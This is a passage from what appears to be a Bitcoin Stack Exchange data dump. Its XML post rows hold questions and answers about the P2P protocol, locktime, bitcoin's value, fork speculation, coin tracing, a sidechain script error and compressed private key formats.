&lt;p&gt;and there a several different crypto currencies types by running on that . Am I correct? Thank you to all&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, other crypto-currencies make use of different software, form their own P2P network and have their own blockchains. Similarly, those networks will have a common blockchain and each node will have a copy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simplified/high-level view but I hope it clarifies things a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Users that just want to use bitcoin do not need to run a node.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-02-25T09:38:23.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43062" PostTypeId="1" AcceptedAnswerId="43064" CreationDate="2016-02-25T10:25:14.920" Score="1" ViewCount="146" Body="&lt;p&gt;I had a look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation&lt;/a&gt; where the p2p protocol is documented. Although it states incompleteness I thought it is a good starting point to understand the protocol.&#xA;To my initial understanding the protocol is based on c-structs that are directly sent over the wire. This makes implementations in other languages more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to introduce a new protocol based on a well known communication method (for example JSON) and make a smooth transition between the protocols? For example with bridge nodes, which are using two protocols in a transition period?&lt;/p&gt;&#xA;" OwnerUserId="33354" LastActivityDate="2016-02-25T13:15:13.457" Title="Would it be possible to change the p2p protocol used by the bitcoin-clients without a hard-fork?" Tags="|bitcoin-core|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43063" PostTypeId="1" CreationDate="2016-02-25T11:50:23.463" Score="2" ViewCount="171" Body="&lt;p&gt;I read somewhere (&lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2014-May/005816.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2014-May/005816.html&lt;/a&gt;) that Bitcoin Core is moving to an edge router role. Can anyone tell me why that is?&#xA;Edge routers in Bitcoin are services like exchanges, online wallets, etc if I'm correct, right?&lt;/p&gt;&#xA;" OwnerUserId="32570" LastActivityDate="2016-02-25T13:29:24.833" Title="Bitcoin Core is moving to an edge router role" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43064" PostTypeId="2" ParentId="43062" CreationDate="2016-02-25T13:15:13.457" Score="1" Body="&lt;p&gt;Yes, the p2p protocol itself is not consensus-critical. Of course there can not be two completely seperate networks, so you will have to take care to create bridges between the two. But other than that you could make a sneakernet p2p network where people exchange USB sticks if you like.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-25T13:15:13.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43065" PostTypeId="2" ParentId="43063" CreationDate="2016-02-25T13:29:24.833" Score="2" Body="&lt;p&gt;No. Edge routers are devices (Bitcoin nodes), not services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edge router is a term used in networking context: routers that are on the edge (boundary/border) of a larger network. For example a company network that connects to the internet. It often also serves as a firewall to protect that internal network from outside access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a similar fashion a Bitcoin core node can function as a firewall of sorts. Outside nodes can only directly communicate to that edge node but not to any other Bitcoin related software inside of the network behind it. Such an edge node would typically not contain a wallet itself, so there is no money directly at stake in case of an attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other nodes on the internal network might contain for example a wallet or they may be running custom software that might contain vulnerabilities or consensus critical bugs that could be exploited if directly accessible to outside attackers.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-25T13:29:24.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43066" PostTypeId="1" AcceptedAnswerId="43079" CreationDate="2016-02-25T14:22:36.357" Score="1" ViewCount="236" Body="&lt;p&gt;How does the U.S. government view Bitcoin?  Is it a currency, a commodity, or something else?&lt;/p&gt;&#xA;" OwnerUserId="33361" LastEditorUserId="5406" LastEditDate="2016-03-05T14:35:36.317" LastActivityDate="2016-03-05T14:35:36.317" Title="How does the U.S. government view Bitcoin? Is it money?" Tags="|currencies|legal|government|usa|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43067" PostTypeId="1" AcceptedAnswerId="43075" CreationDate="2016-02-25T15:27:07.850" Score="2" ViewCount="879" Body="&lt;p&gt;What is Bitcoin's locktime feature and what are some example use cases? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how can a user make use of this new feature? Is it in any gui wallet? And how would one use it in the command line if its the only option?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-03-29T14:38:48.463" Title="What is Bitcoin's locktime feature exactly? How can it be used?" Tags="|locktime|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43068" PostTypeId="1" AcceptedAnswerId="43081" CreationDate="2016-02-25T15:33:39.110" Score="3" ViewCount="3414" Body="&lt;p&gt;I got this pretty good question the other day - why does bitcoin have a value at all?  After all it's nothing - who is willing to pay for nothing?&lt;/p&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2016-02-26T17:39:17.857" LastActivityDate="2016-02-29T19:06:51.523" Title="Why does bitcoin have a value?" Tags="|economic-theory|" AnswerCount="5" CommentCount="2" ClosedDate="2016-03-05T15:01:00.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="43069" PostTypeId="1" CreationDate="2016-02-25T16:49:30.360" Score="3" ViewCount="113" Body="&lt;p&gt;In the bitcoin wiki article on Majority attack (&lt;a href=&quot;https://en.bitcoin.it/wiki/Majority_attack&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Majority_attack&lt;/a&gt;) it says: &#xA;&quot;No amount of confirmations can prevent this attack; however, waiting for confirmations does increase the aggregate resource cost of performing the attack, &lt;strong&gt;which could make it unprofitable&lt;/strong&gt; [...]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking into account that the attacker miner will impose his block-chain branch (he has over 50% of hashrate) eventually, won't the bitcoin reward for mining these blocks make up for this aggregate resource cost, thus making the wiki statement false? Am I missing anything (I probably do)? &lt;/p&gt;&#xA;" OwnerUserId="33353" LastActivityDate="2016-09-22T20:22:58.143" Title="Majority attack no drawbacks (unlike bitcoin wiki suggests)" Tags="|majority-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43070" PostTypeId="2" ParentId="43069" CreationDate="2016-02-25T17:45:13.873" Score="1" Body="&lt;p&gt;One thing to consider is that if tomorrow some attacker dumps his year long alternative chain on us, basically reversing a years worth of confirmations: that will likely cause panic and would cause a big drop in price of Bitcoin. So even though he got a lot of rewards in his blocks, if the price halves, the rewards will be worth less than if he had just used his mining power honestly to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to consider is that it would be fairly easy for the community to decide to completely invalidate the attacker's chain. For example by blacklisting the hash of his first block in a hard coded manner. Yes that is a centralized decision and yes that will still be a very messy and damaging situation where some wallets get confused and pick the wrong chain. But it is possible to make the attacker's chain completely worthless and should be therefore be a deterrent against such attacks (with long chains at least).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-25T17:45:13.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43072" PostTypeId="1" AcceptedAnswerId="43073" CreationDate="2016-02-25T18:41:49.757" Score="3" ViewCount="2709" Body="&lt;p&gt;Having read about the the fight of Core vs Classic and the potential of a fork happening. I have a few questions concerning what would happen when a fork happens. I feel its inevitable a fork will occur. Currently our coins reside on just one chain the Bitcoin core chain at the moment. If a fork were to happen and Classic takes over, my coins prior to the fork will reside on both chains. But if a fork happens now I must decide on which chain to buy my coins on. &lt;strong&gt;Is this correct?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's safe to assume that when the fork happens there will still be a certain amount of nodes clinging to the less popular chain creating an extra Bitcoin blockchain. At first the coins on this less popular network will plumment in price, but it will stabilize at a much lower price compared to the main chain. Now the users pre-fork will have 2 separate accounts containing the same amount of coins. &lt;strong&gt;Is this correct?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is, would it be wise to buy your coins before the fork? Then sell the less popular forked coins when it happens? Or is there another scenario that might play out that I haven't factored in yet? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-03-11T17:05:31.153" Title="Should I buy my Bitcoins now before a 2016 fork happens with Classic vs Core?" Tags="|bitcoin-core|blockchain-fork|bitcoin-classic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43073" PostTypeId="2" ParentId="43072" CreationDate="2016-02-25T19:15:21.600" Score="5" Body="&lt;p&gt;Buying advice is not appropriate for this website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually the fork has become quite UNlikely. It was only a loud and ignorant minority threatening one. This has been cleared up and re-established at the round table talks: &lt;a href=&quot;https://medium.com/@bitcoinroundtable/bitcoin-roundtable-consensus-266d475a61ff#.paosf94p3&quot; rel=&quot;nofollow&quot;&gt;https://medium.com/@bitcoinroundtable/bitcoin-roundtable-consensus-266d475a61ff#.paosf94p3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Judging by the spike in price after that news, I guess that has been factored in now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case a fork does happen, it's quite likely that both sides lose value, at least initially. Nobody likes uncertainty, infighting and chaos. So even if you sell off one side of the fork, the other side will also have dropped in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that IF you want to play such a game, you MUST make sure that you actually own the Bitcoins, which means they are in your own wallet and you have the private keys. If you leave the coins on an exchange when the fork happens, you are totally dependent on them not stealing/losing one side. And even when you do own the coins yourself, you still have to do some trickery to untangle both halves.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-03-11T17:05:31.153" LastActivityDate="2016-03-11T17:05:31.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43074" PostTypeId="2" ParentId="43068" CreationDate="2016-02-25T19:28:45.113" Score="0" Body="&lt;p&gt;Bitcoins have a value because their supply is limited and people want them. If someone is willing to buy a Bitcoin for $400, then it makes sense for you to value a Bitcoin at $400 because you know that you can sell it to them for $400.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially the same reason dollars have value. You value a dollar because you have a reasonable expectation that you can trade it for clothes or groceries in the future.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-02-25T19:28:45.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43075" PostTypeId="2" ParentId="43067" CreationDate="2016-02-25T22:47:28.397" Score="3" Body="&lt;p&gt;Like a cheque with a date in future, a Bitcoin transaction with locktime cannot be unlocked (read cashed) before that date. The definition in bitcoin.org is pretty clear&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Part of a transaction which indicates the earliest time or earliest&#xA;  block when that transaction may be added to the block chain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sample use case is a cautionary deposit. For a great example see micropayment channel protocol implemented by bitcoinj and described here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/working-with-micropayments&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinj.github.io/working-with-micropayments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33258" LastEditorUserId="33258" LastEditDate="2016-02-28T14:35:31.497" LastActivityDate="2016-02-28T14:35:31.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43076" PostTypeId="2" ParentId="43072" CreationDate="2016-02-26T00:09:55.517" Score="1" Body="&lt;p&gt;If there's a fork, the price of each coin on the less popular chain will be &lt;em&gt;less&lt;/em&gt; than the price of the coin before the fork. So whatever you &quot;gain&quot; by selling the less popular coin, you lose by depreciation of the coin you keep. You can't arbitrage this into free, guaranteed profit.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2016-02-26T00:09:55.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43077" PostTypeId="1" CreationDate="2016-02-26T02:43:08.363" Score="1" ViewCount="33" Body="&lt;p&gt;following the instructions in the &lt;a href=&quot;https://github.com/ElementsProject/elements/blob/alpha/alpha-README.md&quot; rel=&quot;nofollow&quot;&gt;alpha-README.md&lt;/a&gt; file on &lt;a href=&quot;https://github.com/ElementsProject/elements&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;&lt;br&gt;&#xA;got an error on the claim-on-sidechain part&lt;br&gt;&#xA;anyone dealt with it before?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ./elements/contrib/sidechain-manipulation.py claim-on-sidechain 2N8qM71fbG1DiWcuDCLP7negcKq3X1rmhyE 2452357eb5e1e471378ebda207e4305b d93beb30b86971b79b9cac9e42d5bd0ed3ad66354e9d6c006ee39fb2ae1d52b9&#xA;&#xA;Redeeming from utxo 4a466058a8754698a95ff29bc8bece97e1e131dfda29f76d30c958903fd85eb0:1 (value 20994180.93597788, refund 20994180.68597788)&#xA;sh: 1: /home2/CRYPTO/elements/contrib/../../alpha-tx: not found&#xA;Traceback (most recent call last):&#xA;  File &quot;./elements/contrib/sidechain-manipulation.py&quot;, line 235, in &amp;lt;module&amp;gt;&#xA;    assert(cht.close() == None)&#xA;AssertionError&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30017" LastActivityDate="2016-02-26T02:43:08.363" Title="sidechains: alphad, claim-on-sidechain error from alpha-tx: not found" Tags="|sidechains|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43078" PostTypeId="1" CreationDate="2016-02-26T02:54:20.363" Score="0" ViewCount="27" Body="&lt;p&gt;following the instructions in the &lt;a href=&quot;https://github.com/ElementsProject/elements/blob/alpha/alpha-README.md&quot; rel=&quot;nofollow&quot;&gt;alpha-README.md&lt;/a&gt; file on &lt;a href=&quot;https://github.com/ElementsProject/elements&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;&lt;br&gt;&#xA;in step number 2, to start alphad it is suggested to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./alphad -rpcuser=$RPC_USER -rpcpassword=$RPC_PASS -testnet -rpcconnect=127.0.0.1 -rpcconnectport=18332 -tracksidechain=all -txindex -blindtrust=true -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my question is about the rpcconnectport=18332&lt;br&gt;&#xA;&lt;strong&gt;why 18332 instead of 4241?&lt;/strong&gt;  like in step 5&lt;/p&gt;&#xA;" OwnerUserId="30017" LastActivityDate="2016-02-28T17:11:53.373" Title="starting alphad what is the correct rpcconnectport" Tags="|sidechains|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43079" PostTypeId="2" ParentId="43066" CreationDate="2016-02-26T02:57:49.427" Score="1" Body="&lt;p&gt;The U.S. government views Bitcoin as a commodity, kind of like gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy Bitcoin at one price in dollars, and sell it at a higher price in dollars, you will have a gain (in dollars), that you will have to pay tax on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy some Bitcoin (using dollars), and then use the Bitcoin to buy a car, you have made a &quot;two stage&quot; purchase of a car. (If you then re-sell the car for dollars, you may have a taxable gain if the dollars you receive are more than the dollars you used to buy the Bitcoin that you used to buy the car.&lt;/p&gt;&#xA;" OwnerUserId="15143" LastActivityDate="2016-02-26T02:57:49.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43080" PostTypeId="2" ParentId="43068" CreationDate="2016-02-26T04:24:21.817" Score="0" Body="&lt;p&gt;Bitcoin has value because it is used as a medium of exchange(currency) between buyers and sellers of goods.  Currency solves the problem of having goods for sale that someone needs. Let's take an example from ancient times before currency existed.  For example you have chickens and you collect their eggs, someone else wants those eggs but they don't have anything you want in exchange. Let's say the other person has a goat and let's say a third party does have something you need, cow's milk. How do you exchange your eggs for cow's milk when the person holding this item doesn't wasn't what you have.  In this example we find out the milk holder does want a goat, so we could make a convoluted trade with all the parties where each party determines the value of the goods they hold and the goat could be traded for the milk, which could then be exchanged for the eggs you have and everyones happy right? Not everytime will this work so currency was created and maybe it just started out as IOUs on paper.  Who would trust these IOUs? If someone didn't pay their debt the system crumbles.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enter the concept of crypto currency.  Every token (or maybe IOU in this example) had a defined value (how many tokens/coins you hold) the system is able to determine who has how many tokens and they can be spent on a trustless manner (meaning no one can spend a coin they don't control, based on cryptographic proofs and the shared ledger) this allows anyone to pay any other individual as many tokens as they feel the item they are exchanging for is worth.  This value gets determined by the market price someone is willing to pay for a token today. When bitcoin began it was near worthless, but as people began to realize it's utility as a mechanism of exchange with no borders and no one party in control it began being used at near zero value. Over time more and more people began seeing this utility and this the market drove the price to what it is today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encourage you to further research the beginnings of currency and what its implications were when it began. It gave the person with eggs the ability to pay for the milk that they needed without having to jump through hoops and hoping someone needed what they have for exchange by creating a solution out of nothing. &#xA;Hope this answers your question.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-02-26T04:24:21.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43081" PostTypeId="2" ParentId="43068" CreationDate="2016-02-26T13:00:46.677" Score="2" Body="&lt;p&gt;Like any other asset that has a market price, it's all a matter of supply and demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The supply side is relatively trivial, the protocol allows for a fixed amount (25 bitcoins at the time of writing) to be produced every tenth minute, this reward is cut in half at regular intervals, and with this algorithm there will never be more than 21 million coins.  However, scarcity by itself is not sufficient, there needs to be a demand as well.  There are many factors behind the demand, I believe none of them are sufficient alone, but some may be more important than others.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A working currency needs to be scarce, divisible, portable, durable, fungible and easy to verify.  Bitcoin scores pretty well on those attributes and was the first digital currency to do so.  However, it's not alone a guarantee to success.  Other cryptocurrencies (aka &quot;alt-coins&quot;) may be competitive on all the above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The belief that Bitcoin will be a viable means of paying for goods and services in the future.  This may cause a sustainable and predictable value.  As an example, assume that 21 million people are buying bread with bitcoins, and in average they'd like to hold enough bitcoins in their wallets to buy 10 breads.  For a brief moment, let's assume this is the only use-case scenario.  With 21 million bitcoins in circulation, that means every user by average has one bitcoin in the wallet.  The value of a bitcoin would then be ... exactly ten breads!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A belief that Bitcoin is &quot;digital gold&quot;, a useful means of storing value.  Someone even says ... &quot;payments aren't important, bitcoin is the digital gold, and gold is rarely used for payments&quot; - I believe that's dangerous.  Gold has been established both as a currency and as a &quot;holder for value&quot; for millennias, while Bitcoin hasn't even been around for a decade.  Traditionally almost every currency was both backed by gold and pegged to gold, so all until the 1970s one would indirectly use gold for paying for goods and services.  Gold also has unique characteristics suiting this purpose, gold cannot easily be replaced by other metals while Bitcoins can easily be replaced - i.e. if another altcoin gets more popular than Bitcoin for payments, I predict the BTC-value will drop pretty fast.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Speculation - people hoard bitcoins because they expect the market price to increase further in the future.  As of today, this is probably the biggest driver of demand, and it's by itself enough to spur a price growth, but it may not be sustainable.  Critics compare Bitcoin to a ponzi scam, a pyramide scheme and tulip mania.  Even though none of those comparitions quite hit the mark, if the value is only driven by speculation there is a risk that at some point there may be a crack and the value may fall very fast (like it did when MtGox failed).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trust in the scarcity.  The risk that the 21M hard limit will be increased through a protocol change is considered small.  However, Bitcoin doesn't have a monopoly on cryptocurrency as such, it's easy to create new altcoins, and there are already hundreds of altcoins which could theoretically replace Bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trust in the security of the transactional system.  The blockchain and proof-of-work delivered by the miners ensures that a transaction remains irreversable and that bitcoins cannot be double-spent.  The cryptographical algorithms used for signing transactions ensures that nobody but the owner of the bitcoin can spend the bitcoin.  It has been argued that the market cap of any cryptocoin have an upper bound in the security of the system; the market cap can never become so big that it would be profitable to buy the processing power needed to successfully double spend or brute-force-engineer private keys corresponding to existing valuable public keys.  Reversely, the same argument can be used to prove that Bitcoin is a secure network (at least when neglecting the risk of phishing, robbery, social-engineering, gaining access to wallets through security holes, exploits or lax password security, missing backup, etc).  The fact that the ledger is secured by an extreme amount of processing work may be one of the points where Bitcoins really excel compared to competitors.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The network effect - this is the (only) thing where Bitcoin excels on the altcoins.  (Almost) everyone that accepts cryptocurrency accepts Bitcoins - but only some few accepts other cryptocurrencies.  Never underestimate the network effect.  Bitcoins may become worthless very fast if some other cryptocurrency takes it's place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Usefulness for criminal purposes; Bitcoin is perceived to be anonymous, it can be very anonymous if one wants it to be, it crosses borders easily and without regulatory oversight, hence it's the ideal currency for ransom, tax evasion, drug smuggling, crime-as-a-service, etc.  I sure do hope that this is a smaller driver for value than the usefulness for legitimate payments for goods and services.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2016-02-29T11:30:20.780" LastActivityDate="2016-02-29T11:30:20.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43082" PostTypeId="1" AcceptedAnswerId="43083" CreationDate="2016-02-26T14:10:37.243" Score="2" ViewCount="104" Body="&lt;p&gt;Say I give 1 BTC to Alice who gives it to Bob who gives it to Carol. Can I now figure out that my original BTC is now with Carol? Of course, by Carol I mean an anonymous address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of a reverse wheresgeorge.com where I can trace where a BTC I owned went. I presume this is not possible otherwise hackers would never be able to keep stolen bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="33387" LastEditorUserId="5406" LastEditDate="2016-02-26T15:20:02.983" LastActivityDate="2016-02-26T15:20:02.983" Title="Reverse wheresgeorge.com for BTCs" Tags="|privacy|traceability|taint-analysis|fungibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43083" PostTypeId="2" ParentId="43082" CreationDate="2016-02-26T15:17:40.503" Score="2" Body="&lt;p&gt;Actually, yes, this is possible. However, your payment output might get split or combined with other payment outputs in later payments. Therefore, the graph will be less linear than you suggest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    C ↴       ↱ H&#xA;A → B → D → E → G&#xA;          ↳ F &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, A would be sent to B, then B + C would produce D, D would be split up to E and F, E would further be split up to G and H. &#xA;B would be a 100% child of A, D, E, F, G and H only 50% (if A and C were the same size).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would get much more complicated over time where many outputs get combined and split and so forth, but you could actually continue to track this forever. The issue is actually not with the tracing of funds, but with the proving that funds were indeed stolen. If you are more interested in this, you might find this related question useful: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/7966/5406&quot;&gt;What are tainted coins exactly?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-02-26T15:17:40.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43084" PostTypeId="2" ParentId="161" CreationDate="2016-02-26T16:25:01.450" Score="1" Body="&lt;p&gt;Re. 'how is it enforced?': &#xA;The 21 million limit is enforced by game theory. Theoretically, 50% of miners could adopt code that would increase the rate of production but this would break the social contract that Satoshi created, irrevocably harm the integrity of bitcoin, and crash the price. Therefore, anyone or any group that could change the limit is incentivized to not do so.  &lt;/p&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2016-02-26T16:25:01.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43085" PostTypeId="1" CreationDate="2016-02-26T18:29:20.397" Score="1" ViewCount="78" Body="&lt;p&gt;Basically the idea was to create a tiny service such as &lt;a href=&quot;http://nodecounter.com/&quot; rel=&quot;nofollow&quot;&gt;nodecounter.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would appreciate your help on the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to determine the Software (Core, Classic, XT, etc.) and quantity on the whole network?&lt;/li&gt;&#xA;&lt;li&gt;How to determine the last 1k blocks and their Miner Software?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would start from scratch, but if you know about any open source projects, preferably in NodeJS or PHP, I would really appreciate a hint.&lt;/p&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2016-05-26T22:36:38.320" Title="How to determine the last 1k blocks and their Miner Software?" Tags="|blockchain|block|network|charts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43086" PostTypeId="2" ParentId="43085" CreationDate="2016-02-26T21:19:07.847" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to determine the Software (Core, Classic, XT, etc.) and quantity&#xA;  on the whole network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;connect to host and take the 'user-agent' string from 'version' packet&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to determine the last 1k blocks and their Miner Software?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the miner can be determined by analyzing coinbase transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the software can not be determined&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-02-26T21:19:07.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43087" PostTypeId="1" CreationDate="2016-02-27T00:17:54.993" Score="2" ViewCount="356" Body="&lt;p&gt;I have a wallet with Bitcoin Core.  I have used that address on various sites to receive payments from them.  I want to add that address to my account on my MultiBit HD program so it will just carry over to the new program but I cannot seem to figure out how to do it.  Please bear with me I am fairly new to all of this and I am still getting familiar with how things work.  Thank you in advance for any help you can offer&lt;/p&gt;&#xA;" OwnerUserId="33401" LastEditorUserId="5406" LastEditDate="2016-09-21T06:18:12.680" LastActivityDate="2016-09-21T06:18:12.680" Title="How can I add an old Bitcoin wallet address from Bitcoin Core to MultiBit HD?" Tags="|wallet|bitcoin-core|address|import|multibit-hd|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43089" PostTypeId="2" ParentId="43068" CreationDate="2016-02-27T00:38:50.160" Score="0" Body="&lt;p&gt;Value is subjective... It has value because people give it value... A better question would be, &quot;Why would you value Bitcoin.&quot;&lt;/p&gt;&#xA;" OwnerDisplayName="user31364" LastActivityDate="2016-02-27T00:38:50.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43090" PostTypeId="1" AcceptedAnswerId="43092" CreationDate="2016-02-27T11:37:46.760" Score="2" ViewCount="504" Body="&lt;p&gt;From what I understood, compressed private keys are supposed to represent the same secret key, stored more efficiently thus taking up less space. I assume 'more efficiently' has to do with secp256k1 specifics that I'm not aware of, but I'll take that for granted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I compare a few compressed and uncompressed private keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# example private key&#xA;hex: &#xA;85B7DFAB8D2C695C0EBF013AD50A758FDBC62775391B7CE33282634F7DB47480&#xA;uncompressed:&#xA;5JqBEaUuYJFA4dQsd62ys13RumxCGu97BRu3LzwaVduD8MQnFwc&#xA;compressed:&#xA;L1heAvnAu97V11iNSHDjyhBiwwQcmB8nH2thMGjtqPsSXKaZ9VwY&#xA;&#xA;# another example private key&#xA;hex:&#xA;6190289CEB09ED41776AE27AE81F46C6540C56CF8F3900BCAADE96B4470F23D6&#xA;uncompressed:&#xA;5JZFhabXLayCMCehpyhdCPZ5LXwvgvu3gX4Png4xYzCWYCXJ3jx&#xA;compressed:&#xA;KzVMt7HNuSw36ARRCmGJmGYa9DbRyEtiqRfyabSUCBToNRwMrAog&#xA;&#xA;# yet another example private key&#xA;hex:&#xA;763B1998BF7282A99CA21EB821EB9A204589FFA189E290EE64528854FDA91080&#xA;uncompressed:&#xA;5JiMdW1Czd3tTuy33wiC5wmrkhZxx2PNcC7NVZoFc7AixTVgmf5&#xA;compressed:&#xA;L1BY471uwL7k9nnL3zUovpkzbt4Vws7kNL37s5m9TxDvBjnadvMy&#xA;&#xA;# etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice that the &lt;em&gt;compressed&lt;/em&gt; version (at least the WIF/base58 representation) of a key always seems to be &lt;strong&gt;longer&lt;/strong&gt;. Why's 